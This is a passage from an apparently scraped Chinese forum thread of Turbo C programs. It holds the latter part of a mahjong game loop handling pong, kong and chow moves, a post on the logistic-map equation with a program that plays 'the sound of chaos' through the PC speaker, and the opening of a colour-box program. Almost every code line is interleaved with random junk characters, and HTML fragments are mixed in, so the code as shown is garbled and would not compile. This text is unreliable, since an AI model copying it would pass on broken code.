' R. i  T2 G- N  W& l* AfillRectangle(x1,y1,x1+20,y1+4,0);
' c6 ]9 z4 S; ], n, J  g/ @/ Q4 t+ ?}
" R5 D, ~6 M  |& t! q+ aif(every==10)1 v# F% Z0 V. W+ _, E. V
{
! g6 v2 F6 _- v! r* lx1=220;& j- {2 m. E4 i5 _7 j: F+ x/ ]) q
y1=165;. P7 y% I; T. S! _) _9 L
fillRectangle(x1,y1,x1+20,y1+4,0);3 O3 a0 K6 C! A7 L
}( R  s/ u  a) c  M" N( D+ @" H
if(every==11)4 Q: |" g" P* I4 w
{
$ x+ v& Y" f- y# x5 T! u+ |& [x1=240;
8 H" k( w# y! \1 T' p3 T$ i+ U( |y1=165;
3 f1 k. R7 }$ ~9 G( V3 Z! PfillRectangle(x1,y1,x1+20,y1+4,0);6 N2 Q4 e1 M! h% x/ }6 Z' b
}) i/ K2 c" r2 c/ O' ]0 F( n! \
if(every==12); I7 A/ o( Y! V5 u6 D7 q
{
( s. D0 e6 l' z3 Lx1=260;
' g6 J, n' q( d9 d4 V) @y1=165;) C) d2 [$ G; u, p; \" F: X
fillRectangle(x1,y1,x1+20,y1+4,0);  O& d  P1 ]  P; C
}. ]5 |& B4 f+ H# S

+ u* n/ i8 [, W$ l% E/ G: Xzz=0;
3 _2 m# @; U6 S: Vevery++;" q% I# `7 O8 R/ k
z=z+20;! h( A7 H' `, t
}( y% F1 d* C% d- K8 Q- Z$ J" t/ T
showbmp(every);
9 c/ g7 g; c2 \4 K, ]key=keyy;
9 ?8 `( f' G' Xif(keyy==ENTER)3 d1 C3 T8 X" G8 W' a2 e
{
; R: d2 B6 w+ t- ^rgzn(every); /*********************/$ h& R) L: Z; E
if(sing==1) /*如果可以乓,做相应的处理*/; ?* {: x& |" Q& _( U9 _# @4 W
{
6 P+ T2 W6 s/ dkkk=0;
/ ~5 {* h# h5 D( lkkkk=0;2 Q3 I" z) E( C
while(kkk&lt;=computer.m)
1 U* `5 B( ~  K  F2 {  n+ T{0 W5 u2 b- M. k" s$ y
if(computer.pp[kkk].p!=1)7 t$ k) v$ W4 @; _# h+ b
{
4 X; w8 b' C; I1 q& ~! Acomp.pp[kkkk].k=computer.pp[kkk].k;' I1 g4 J0 ]  `/ b5 q) v; j
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;" a8 x9 [; U* N' ~" _
comp.pp[kkkk].number=computer.pp[kkk].number;: E8 ^1 `" U7 s. v4 C
kkkk++;3 @( e/ ?) G& O% C4 J/ i
}
- C, h7 o2 @8 |8 u1 H7 Eelse3 C6 T% E9 |+ _7 W
{
6 D7 }% M0 n% Q7 b  um[computer.pp[kkk].number].data1=1;
. m4 E" [, j* p$ y: E, @5 Edwei=computer.pp[kkk].number;
( j; R: x' Q. K: G7 B8 j+ x- z2 Dcomputer.pp[kkk].p=0;
( M$ g7 o+ [+ \! ?5 l}3 ^6 ?6 z: B" k6 Y6 m
kkk++;" W( ~: i5 s$ F
}
5 S7 p2 m4 {; g+ n4 H5 ~ll=0;
3 C  S& n' [( O: r/ I) c
' P# ~. R. m3 I7 O0 C1 N6 Zwhile(ll&lt;3)
' M' I4 y; ^& U4 I' d0 d{ zl=zl+20;
  z3 o  @; U3 Z6 c* c* m- Xbmpp(dwei); /*显示乓的牌*/% T* s+ L+ ~9 w; @/ m
ll++;
* i) q$ G9 O- l}3 y( i2 Y2 |9 }. k2 n
- p. ~/ G; B: K: e& O+ Z
zl=zl+9600-60;( b3 `+ q6 Q/ p" a8 ?
kkk=0;
" F: z4 o$ n7 Z2 {3 Ecomputer.m=computer.m-2;0 M! F3 |. w+ k' J, p; i0 l
while(kkk&lt;=computer.m)7 [2 d* l6 x3 b* J/ X
{6 l1 M4 x, O+ a/ @
computer.pp[kkk].k=comp.pp[kkk].k;  V6 `* t* D- k- {- B
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;4 g5 G2 D/ I' R+ J7 M# H; W
computer.pp[kkk].number=comp.pp[kkk].number;
7 l; m2 a5 g4 l# I% Z# X6 qkkk++;
8 P, }9 _$ s$ h2 p/ s: K}/ M7 T. Z7 `* G3 i$ G- H
ll=0;
2 I- i  N6 e+ P, P9 e2 J% ltemp=random(computer.m); /*出牌等待完善*/
( v+ ^. y9 o( F7 U3 H+ `zyy=zyy+9280+20;
, C( u) w7 O! w' G7 K1 D: @showcbmp(temp);8 f+ e3 Z( R  J* o# t1 \
zyy=zyy-9280;
( {3 x; o; t: s; `: w/*****/
* r+ J/ q: I0 rrgznme(temp);
( j' V+ x- V6 \8 H9 r( ?panduan();/ `1 g3 G! z) W3 ]
if(me.m==0)* i+ p% A7 G- ?% j: Y
if(second==1 &amp;&amp; threes==0)
- D" K4 Y0 {* g' [printf("you win!");
& t) o% _; V5 A6 kif(me.m==3)
( U( n$ y) u5 |% V! Yif(second==1 &amp;&amp; threes==1): Y# h& C2 E& P! D
printf("you win!");$ p1 O' Q+ ~8 [
if(me.m==6)+ p% P, v5 Y+ y; X+ N
if(second==1 &amp;&amp; threes==2)
4 M: D( T! \+ j9 ]" _' oprintf("you win!");
- A$ j% n' ^9 y) N% ^! Sif(me.m==9)
8 W0 m5 r1 H4 [6 H! Zif(second==1 &amp;&amp; threes==3)
3 k" ?7 g0 J5 N& N4 Lprintf("you win!");
8 q( i" }  S! }# S9 l( m) Eif(me.m==12)
9 W+ s$ {- G( ]5 |7 E0 p  Nif(second==1 &amp;&amp; threes==4)
& V& F+ t  Z# s& T1 x( V" F; dprintf("you win!");. G, ~4 x/ C; p( p+ f2 q

, J  @/ o# }, K. Akkk=0;+ a7 t1 n4 M3 {/ H4 o3 S" P
kkkk=0;
8 T. I0 T3 d- z2 j) cwhile(kkk&lt;=computer.m)" ]/ T8 |, ]: [1 F4 o8 h; o0 A* a
{
; Q/ P  }+ a- q! H& o7 Nif(kkk!=temp)% s$ v2 M! x0 N3 S; [
{  a" ?% ?' r; {% \
comp.pp[kkkk].k=computer.pp[kkk].k;6 F3 r( j5 c" L( \9 \& W
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
) D8 q' a; h& g5 c" M$ [# [* Ccomp.pp[kkkk].number=computer.pp[kkk].number;
+ ~& x6 W4 @& D# t. Ikkkk++;
  b' o: X# Y( n& ~}5 Q1 c9 S3 h. U, m3 G
else( A7 h+ V" |& J+ v2 @, N3 O+ c
m[computer.pp[kkk].number].data1=1;
, ?4 N. N, }" `kkk++;
- i7 w- i4 L1 q5 M}
; h/ F" r- }2 K1 \kkk=0;
; G, |3 T: l4 i! t5 D7 _1 tcomputer.m=computer.m-1;: p& Q% v2 T0 f
while(kkk&lt;=computer.m)
8 c/ |% H2 y6 f$ ~% I; f9 A{+ N3 q6 h9 {$ W
computer.pp[kkk].k=comp.pp[kkk].k;2 h" X1 H' l% l4 v
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 [6 M; b  Y. R3 v
computer.pp[kkk].number=comp.pp[kkk].number;$ f$ X  g" X& a: D
kkk++;
2 d6 T* N  A+ A5 |$ d}2 @0 ?3 w* l/ ]
fillRectangle(0,0,320,30,0);* }' g5 S" k- y/ x4 p1 {% o
n=computer.m;! R7 F) H" Q  o8 R* M' G; G5 q
ll=0;) I/ |$ O$ e  Y3 ]9 |* [! l
zy=0;
+ |3 K; Y* n" l: K+ C! S6 rwhile(ll&lt;=n)4 |6 C( E$ r  ~! g4 M% I
{, i3 U) Q# s- {
zy=zy+20;
- [8 B& W1 I6 S, u' Zshowybmp(ll);
  u" _0 g0 \; i1 W" P9 y9 vll++;
  k5 n, P# z7 R& O}
+ C0 L( g  @" |ll=0;
% A( _* g5 A* K: ^getch();) d0 i: N% I2 ?7 b$ m4 h7 \
sing=0;4 g1 x. @4 _; a$ ^$ S1 y9 J! Q. H
sing1=1;- V; G1 f3 k$ ~# p, a
}
$ s) L9 K9 o" ?7 S/ n
( G8 ?8 J" _6 x  q7 P6 sif(sing==2) /*如果可以杠的做相应处理*/
- H9 [- \  y! G{
% I' b  K& ?/ N) Pkkk=0;! s# S/ @* O; Z7 z) o6 G* S
kkkk=0;
$ p3 m7 ?$ B+ r& z  }7 p: a% ~while(kkk&lt;=computer.m); T6 E/ c* Q8 U8 }* L/ s6 Z) H
{
- n- y0 C! I0 y/ }, @- s  U7 a4 uif(computer.pp[kkk].g!=1)' V: I, \& Z2 [: W" c( Z
{. ^% y- E9 J# g2 Y4 X" r
comp.pp[kkkk].k=computer.pp[kkk].k;. ^7 G% L" F1 [1 N2 b. W
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;/ v0 V( r8 @( o' ?0 u! f, X* `8 ?  J
comp.pp[kkkk].number=computer.pp[kkk].number;7 M/ r; t% |# a1 T. z: H
kkkk++;5 j2 u+ {' I1 R: g
}! F. k* \" t; I* S7 C" [8 V. g1 W
else1 y6 ?" E! o" A9 {9 x! g6 p
{! L% L$ U/ q/ b9 Q3 n8 z4 W' f
m[computer.pp[kkk].number].data1=1;
+ m& ?+ A7 d4 ^+ u  a0 [dweig=computer.pp[kkk].number;
- H# Y! R$ x+ k! T( k- l4 [: i+ Q8 hcomputer.pp[kkk].g=0;
4 s; m( l! o' Y: Q) w2 y& W}. K/ L2 c1 z0 e: g; P5 R* C
kkk++;. ]9 F+ \9 Z! ?  Y
}) O8 n( h% x2 N, Y
ll=0;! D4 h& \4 \: e% S: @
7 k8 f2 M) m! R
while(ll&lt;=3)
: D3 M- t7 k: Q{ zl=zl+20;
& J' c9 p0 u$ g" @* zbmpp(dweig); /*显示杠的牌*/
) m. H! M$ K) x' a( c9 h. l- sll++;
  T1 i- Z4 p7 f$ a/ }# Z' e}3 S: ^8 e9 s. q" ~+ x) J7 m
zl=zl+9600-60;! Z! ~5 e7 c+ R4 m
kkk=0;
& d8 ?; L3 N( j3 n( C& \! h1 icomputer.m=computer.m-3;
8 \- H: O$ e% O* Q* d! b6 [$ c0 Rwhile(kkk&lt;=computer.m)
5 R5 n# e! f3 a2 _" r, `/ r! x{1 c6 w7 l  p  x
computer.pp[kkk].k=comp.pp[kkk].k;( i; w9 _: u+ U" s6 M( i$ s; s! L) ^( ^
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
: D, ]. N. u3 e, j/ ^1 a: f8 N8 ycomputer.pp[kkk].number=comp.pp[kkk].number;  i1 y7 i8 j  \4 M+ x
kkk++;
5 z3 K1 l  y: C}
: ?& V: V& l" }: {2 _: Zkk=0;
; J7 ~* v9 I- {3 N* g' j5 fcomputer.m++; /*加一个牌的容量*/
! Y& m9 J( f) L0 d. S. Twhile(kk!=1)/ |; o' ~" E* ?8 b+ Z4 a& k2 O9 m
{
/ I. n7 S5 r% x( q) X( m+ J. |9 ktemp=random(136); /*出牌*/
2 V- |9 P, i0 bif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)0 W/ ~1 q3 f7 s- n6 i- d& w( P7 V
{! o' C/ K- T7 m6 e( T
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/  ~( q: {. z6 G/ Y  q% X* f, d
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*// {' [# t2 W1 O4 ~* n! l# z0 p6 L% ^
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
; n& k( N2 V: X. C/ ^m[temp].data2=2; /*判断牌是谁的,2为电脑*/
- m% V* `+ ]& ]$ w% g$ Ckk=1;+ a4 w, `7 Y$ A+ s
}- C: s8 `+ K, u' B9 A' Y0 C9 s  a
}' Y% j1 N. y; W) n2 U( v! H
comlipai();, b; Z( S4 K4 _
temp=random(computer.m); /*出牌,等待完善*/- ~- a8 Y; W, A6 v' b% c
zyy=zyy+9280+20;
3 l. E2 g6 e: n" U5 s" ^showcbmp(temp);
5 i: m; A  t6 B6 @! Czyy=zyy-9280;
* E+ W# J* }$ q1 I. V4 u, ]  I! c/*****/5 g; c8 ?7 b, @: a
rgznme(temp);
' |4 A# K2 {/ o2 q0 ?9 ]- ?( z; rpanduan();7 C8 t3 r: j$ n9 c
if(me.m==0)3 A& m5 v  y6 B0 W' ?
if(second==1 &amp;&amp; threes==0)
5 |) ~/ S1 o, Xprintf("you win!");
4 y! l, X5 j- S8 rif(me.m==3)
" l* ^( x  L' U0 [1 p% g  c3 w& s6 hif(second==1 &amp;&amp; threes==1)
( a% i. x& h; d1 F5 l9 ~! rprintf("you win!");4 ~8 ~0 `& }0 R* t" a
if(me.m==6)0 a5 n: o  A) w5 ^+ m) }9 k/ t! ~
if(second==1 &amp;&amp; threes==2)$ v+ g& d- @( y
printf("you win!");" q  J8 P6 l2 S4 q- T$ C0 [
if(me.m==9)
/ I4 ~) F5 _# Gif(second==1 &amp;&amp; threes==3). A- Y" j! O7 s* N
printf("you win!");) V( H+ E% ?; E. \  X
if(me.m==12)4 H! P( M1 y: U. k( F" n0 o4 J
if(second==1 &amp;&amp; threes==4)( `( \; l+ R+ r( z, L8 i5 \
printf("you win!");
1 U# o# T( E0 l% P
" n, R$ n1 C+ ]. C8 `kkk=0;" O1 j% {  G+ n9 R% ^
kkkk=0;$ G: c: x" }5 K# E6 `  m
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
2 b5 p, X8 f: e/ d{
- [3 b2 B5 S( y9 nif(kkk!=temp)
5 `( l/ m+ v$ A. B{
4 N5 |5 p: k- T) A8 u: P$ Rcomp.pp[kkkk].k=computer.pp[kkk].k;+ u' \- `: I+ ^7 m! r
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ x! X% d& v& J- C# _  A
comp.pp[kkkk].number=computer.pp[kkk].number;1 n" E: O0 ~! Y  s  g5 ^- P; p. r! x
kkkk++;" ^% s, b2 r/ R( X; u
}
% G  }( U# F* ?: t; S6 l% u: belse" \+ h- [, [5 r# E
m[computer.pp[kkk].number].data1=1;
: {4 @1 U' p* @" Kkkk++;
- k: H2 a9 U4 H: Y) J}3 o" R$ {3 _. ?2 @9 U  s8 l
kkk=0;
' j; Q: x1 d. N  ^# ]3 {computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/9 n# \+ e" _! M) ]
while(kkk&lt;=computer.m) & A7 e/ s0 W2 ]
{
$ y9 G7 {) p1 E3 _8 A9 a! H/ X) M; ?computer.pp[kkk].k=comp.pp[kkk].k;
: g/ {. P% E$ X. A) fcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
/ O, J8 w5 ~8 v, [1 e, l! Q; kcomputer.pp[kkk].number=comp.pp[kkk].number;
1 @$ l+ h" z9 x+ _1 qkkk++;$ b8 w7 G: {4 g/ I
}
5 g$ S2 D+ D6 k% i* g% wfillRectangle(0,0,320,30,0);' n  o0 ?/ d3 K" V: x) j1 x
ll=0;' ^& q0 B7 i) G& h& D1 a
zy=0;: Y; P9 z0 y. A4 Z% s. }8 M' |
while(ll&lt;=computer.m)
+ Q/ B' P* w5 J. X, m6 G{3 W$ B8 Y, ^! z, V
zy=zy+20;
& |- x( E5 \6 ^showybmp(ll);
& r7 V# u! J6 C- \0 Jll++;" f3 x0 G) w4 c- s; P
}  j; W8 |, l4 W: W: z4 d4 s3 s: {
sing=0;
% Z+ K, W: C0 R% v5 E. k: bsing1=1;( h4 l0 w0 O2 }: r# `- X
}
3 x6 L6 N) r7 ^9 l, S8 f6 _+ m* yif(sing==7) /*如果可以吃的,做相应处理*/5 ?1 v! x( x# N  ?! a
{ nn=0;  a+ {6 ]" @( o1 _& s0 j" ^
kkk=0;2 Q) U6 I- W. }1 N6 }
kkkk=0;/ M2 b, T* o/ Z& X% @
while(kkk&lt;=computer.m); c( V- o9 l, d8 V: H% k, F
{7 l* q3 ]: |# u9 }) l; K. g
if(computer.pp[kkk].c!=1)
' ^6 Z5 s5 Y: Z4 O, T{- E# p; D( j' q1 {6 J
comp.pp[kkkk].k=computer.pp[kkk].k;
4 ^) y7 A5 z3 h2 rcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, K. {. t  O7 n2 {
comp.pp[kkkk].number=computer.pp[kkk].number;% R* S/ D6 z  a6 w5 t; g3 S9 |- T! V
kkkk++;  I& W- E3 f8 L
}
* Z; \: }% L6 Q! Q$ Kelse
1 ~% H$ J; U7 r+ B{9 H5 y, {" q, E2 l4 `) W1 v. d
m[computer.pp[kkk].number].data1=1;1 U, E3 p4 Y# O: ~3 r& l5 `; W3 H
dw[nn++]=computer.pp[kkk].number;/ y. y! G+ @- H5 y5 T  A- g
computer.pp[kkk].c=0;; w! ?$ c/ ^/ x3 b$ N3 L
}3 T# o# |  L. w) D; |* p
kkk++;' \) Q+ w4 F9 O, I
}9 K# ~: [/ e" B8 p0 r/ E( y: u) `

) C/ R1 O7 i! x# S9 sif(me.pp[every].number&lt;dw[0])
/ y0 F/ [! Z/ c% }, q{
* Y/ e" F2 ~5 Wdw[2]=dw[1];
4 x9 F$ j* v/ O) r! vdw[1]=dw[0];. p7 Z7 D4 }9 \( F
dw[0]=me.pp[every].number;
7 t* w/ H6 H! M# b6 U: A5 @7 c}
& k1 [3 \5 L2 I+ |6 Cif(me.pp[every].number&gt;dw[1])0 a' M" a7 I  ]# V6 ~7 g- e
{& W$ ^0 u5 x- G3 i4 e
dw[2]=me.pp[every].number;  F$ |8 s3 S5 p+ a' z" u/ B
}7 ?# L' O. _9 w8 ?! G5 Q% F' J4 }
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])0 U& o" D# z* L
{
% V: w% g  F8 n0 ?0 e- hdw[2]=dw[1];
, |5 N, Z( ~( I% y. o* _* Odw[1]=me.pp[every].number;
' R8 G& N4 \& F}" S  Y' D7 T. W' ~# _* G: }0 }( H
nn=0;
& |. H) [  l1 twhile(nn&lt;3)5 V* k: s6 \* Q" C: G/ z& F
{ zl=zl+20;# z- U8 W! m! I' m* _% e/ N
bmpp(dw[nn]); /*显示吃的牌*/
+ ], g2 ^1 K0 ann++;: k7 N: S6 x0 ~0 b3 U9 H! v' I
}
- S2 O* U; M/ Q* b. w% k8 Izl=zl+9600-60;9 i; J7 Z8 k/ h) a+ G3 X4 G7 V; C
kkk=0;
- ]0 s/ C1 ~/ J3 X6 A* Acomputer.m=computer.m-2;
* w! B7 T1 E1 Gwhile(kkk&lt;=computer.m)
5 r5 R7 k; q, }{
# N* K* r+ D- ~, j+ c& tcomputer.pp[kkk].k=comp.pp[kkk].k;
$ z+ f8 }- Z$ D- tcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;. E2 {, C( x# ]$ i
computer.pp[kkk].number=comp.pp[kkk].number;0 F! m4 ?8 d/ Z" E
kkk++;
" k: B  ~$ i  C* E}. ^3 b* Y1 R" X, v0 h' G
ll=0;- [+ ^7 ~( q5 b7 z- a+ g, v
temp=random(computer.m); /*出牌等待完善*/+ P/ y' F1 o6 \5 Y
zyy=zyy+9280+20;
* P4 c% L7 z" n, O8 q( x9 Rshowcbmp(temp);& {9 r6 ?3 J( Z& x1 r
zyy=zyy-9280;
' h* x' G( t. J5 ?/*****// E: {  u; e; Y! x$ @6 h" y# k
rgznme(temp);
; O5 f2 L% I; F7 W. @3 w+ Lpanduan();
. H6 `. s2 @; b$ ^if(me.m==0)
2 B$ K: a5 _6 e4 o7 A: M) ^if(second==1 &amp;&amp; threes==0)5 s; N8 R7 a0 G' J0 u& |
printf("you win!");
5 ?# \% u% j+ Xif(me.m==3)' r1 m, X( k( q! Y
if(second==1 &amp;&amp; threes==1)) f, C7 a; n& `) E, h8 @( b/ c
printf("you win!");" R% d- G' c' W8 Z5 I
if(me.m==6)
5 T& n) b/ N* L$ R6 n' Wif(second==1 &amp;&amp; threes==2)1 X3 c. y. L7 B9 {9 e
printf("you win!");
" E  I. T9 W& @- pif(me.m==9)
' {% G- C) D  {  ~3 `9 [if(second==1 &amp;&amp; threes==3)/ H+ {) n& X7 B, `; [5 z) E
printf("you win!");
+ ?+ z8 J6 y: t# ?+ O8 |if(me.m==12)
8 j$ Y! D) n& _5 j/ y7 Nif(second==1 &amp;&amp; threes==4). h% G; A) _* U0 \8 o1 b( Y
printf("you win!");% q! A0 \* o! E

5 P8 C! B! [% A8 xkkk=0;
( m+ H) F) U  P4 K; Skkkk=0;; \+ Q6 e3 c: C: g" o! c
while(kkk&lt;=computer.m)- p# x5 V9 N5 L5 d4 |- o
{
6 ^; C- ?  U9 p, [5 uif(kkk!=temp)
* R# y% h' |" a6 e{) d2 ?" s0 ~1 u0 U, d7 v6 {; x1 m
comp.pp[kkkk].k=computer.pp[kkk].k;" i/ [6 p0 u1 K& Q6 h
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
9 I4 X5 b% [$ |( h2 T) mcomp.pp[kkkk].number=computer.pp[kkk].number;
$ L5 l: {" b8 Q# E4 I+ I. Wkkkk++;
9 C. |9 X. H" m2 f" X7 j}$ S0 p) }2 ]: d8 P9 x
else* a/ I5 G  H7 ]. P0 A
m[computer.pp[kkk].number].data1=1;& f, Q( T5 B6 N! n% h& M+ ]
kkk++;  x! a+ G* H' A5 Q# |# }
}
& i6 A2 q$ ]/ S! b, e4 D' _" W- @- Mkkk=0;
3 P) l) k% w0 l5 x  E4 Jcomputer.m=computer.m-1;  M9 K- D1 n, I9 t1 y& n
while(kkk&lt;=computer.m)
! n% F( F0 {+ C0 c# L: k{
# k" B; E: Q/ Bcomputer.pp[kkk].k=comp.pp[kkk].k;
. W: ~) P+ c& L9 Jcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( A( @6 k- M4 D7 B$ zcomputer.pp[kkk].number=comp.pp[kkk].number;& R% o7 H' `- H" K- [$ T- R: t; |" h
kkk++;
- K: e; ?& O5 ]$ T$ C2 h7 y% P}
# {& m* |2 v8 O; @9 [  ^; FfillRectangle(0,0,320,30,0);  G! q" U+ [: b' f/ J  R& f4 e, L
n=computer.m;- x$ J" M3 W7 d* O( g
ll=0;
+ S' E4 ]4 E" Y% y, mzy=0;
' e" h) b* b+ c: t0 J. U. Fwhile(ll&lt;=n); p# U' P. W- Q2 E7 [4 T
{
$ R) _0 ^6 @! J' L$ d9 ]' Q+ B# P4 xzy=zy+20;. c$ ^" ?* t% R2 n' I! x
showybmp(ll);+ ~4 A4 E4 p8 J
ll++;! R% }* K) `& ]0 P6 j
}/ ^9 [% P) S8 A) z9 C
% D. X2 X! F& n% x: v$ w
getch();( ~& }! z! d+ b# M+ l
sing=0;2 X, D7 ?$ p, a- A6 p
sing1=1;
3 \, m% |6 v$ i; J) k$ w}
8 _/ i4 E% k: h% \if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
* F' k( I; T; r% R- w. Y{
: e0 a9 X8 N( l$ a& L2 h, skk=0;
# v$ {; |, n: L: g  `: i7 Ah=me.pp[every].number;/ i6 {# `6 v4 P" X
m[h].data1=1; /*此牌已经无用*/
- e1 J& k6 k8 R) h& Wif(sing1!=1)3 w9 q- [8 A" ~; g; j/ V
{
; w5 G" ^  t' m% a) jzyy=zyy+9280+20;5 b, V8 Z/ k& Q! i: L6 L0 `6 L
showbmpd(every);/ T* V6 q, v4 E/ l6 t# T/ z6 X
zyy=zyy-9280;
5 k$ H  o6 p3 t  @, w7 R}. `8 A* Z/ m5 N7 f8 j
while(kk!=1)
2 R6 @0 Y# R3 t{! o; t$ k" |3 X+ i3 L7 R% U& U2 D
temp=random(136);
, `; D; ?! m3 b/ u/ Yif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)' q2 |" V, l# m! p* p
{
! W& |: ^8 y3 W: ^) _me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/9 Q6 H' Q. l+ R& q$ H2 |
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/9 c( w/ w5 X2 o
me.pp[every].number=temp; /*第几张,用来排序*/1 H. L: d: {9 P) q4 {' V7 z
m[temp].data2=1; /*判断牌是谁的*/
. ]. v6 e3 U6 w' ykk=1;
: G' h/ h5 g) g  M/ {# l0 u3 @0 d, c) P}! ]; l  T9 s6 G. {# D
if(kk==0) /*判断如果又选择了,就从新再选*/
) b. U) G/ N8 z& wkk=0;$ O- S/ Q3 _( ~9 M- w# a
}
8 g, W- O% O# b}
; Q) p- ?% Y& G, osing=0;$ }3 E8 ^1 {) R/ E% G2 @8 Z
sing1=0;% q( o# m2 R5 a7 ~; e4 g
melipai();' Z; C  ?5 |+ U- j; |8 T5 ?) W3 d( O
n=13;
1 v1 Z" S. |& T6 F3 Cz1=54400;
- Q3 x6 j% ^, }  C# g! O0 g  c6 Cl=0;
/ e' ~3 q* D% B+ I% Gg=z;
3 a* s! q: G* z6 }* Pwhile(l&lt;n)
! B& b- K+ v# E" _  F. e  p{ z=0;3 d- V* `; ^# D( U; y+ C6 D
z1=z1+20;
+ q+ I7 ?& K9 Z6 j" s- C! tshowbmp(l);
+ T, G  ^, m: |9 w/ d" X, {l++;
4 R2 X4 R* v( U" k8 J! Y}$ J$ t2 W  _. ^( B- I0 x* v% j/ ^
z1=0;
; ], }& _7 g* z6 t% J0 X0 Fz=g;
1 Z9 i  j  I9 e4 p0 f8 B  U}
4 F1 K$ t8 k4 @+ \. |1 @keyy=0;
( l1 O, [7 o, O# n* c  N" T}+ c. [2 E" {, z# K7 `& o/ z0 Z  a+ C
  b: h% t. u" x- j* {
getch();3 c& M4 Y6 p- O* [
OUTVGA;2 a' ~$ r8 x& z% Z+ T
}
7 y; Q/ ~: X7 Y1 `& J</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
8 v, ~& ]/ b5 U* u1 w5 V</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
& b6 ?' m7 P$ }$ i# W; g. {2 C% ~0 j, a; W* D0 C
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。* b5 f8 w# B7 v+ r( X  n
  <FONT color=#009900>#include <DOS.H>
& y: s: {: `# o  #include <STDIO.H>& F+ x( L0 H& [+ m5 T3 G
  main(){3 p' x1 E# U& B& m$ Q. r
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/: }/ z& E" {5 B! f5 U: A
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/+ E1 v5 j/ v7 G
  /*i,j用于循环记数*/1 V! b" @& g4 F+ ?$ d! ^* H
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
0 Z% r* X. z! {6 @1 g$ J  fDis=fMax-fMin;
( O. {& W) X% k* }  for(j=1;;j++){, H: a: ^! G/ Q" j4 n# F' v6 A
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
! x. [# o8 x9 m% L' G  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
+ i* D2 {' c, Z- T$ a  scanf("%f",&k);" @0 ^" f4 H8 o" @; l3 m7 y
  if (k==0) break;) B+ D4 K+ c/ _5 {/ L6 Y. l' K
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
. v/ F+ C( ~0 a7 a  x=k*x*(1-x);8 }! w  o# ~, m* Y
  for (i=1;i&lt;100;i++){9 E# i* M; I9 K$ w9 m. Y! v
  x=k*x*(1-x); /*计算x的值*/
& S& T8 F/ O  R1 l7 P2 r4 `  ^; i  d  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
# o# u  F( Y  X9 S* e4 i# _  delay(1000); }  S5 B7 P9 m8 j
  nosound(); }}
( V. j, h6 ]/ J5 C% w) C; }  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
$ C& z# Z$ j* i不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
. Z" @  w" c& v/ i& P<FONT color=#009900>/*
  J) f' V& [' V. P/ y$ y*
% T  ~# G+ C, I' K* Short driver module0 E6 O1 g3 P* _5 o0 u" m
*
+ o2 E3 R, R( Y6 f" _, u- V*/</FONT></P><><FONT color=#009900>main()
) s- s- B, ?# V( e8 ?9 E{% ]4 j& C2 W# k, F* m
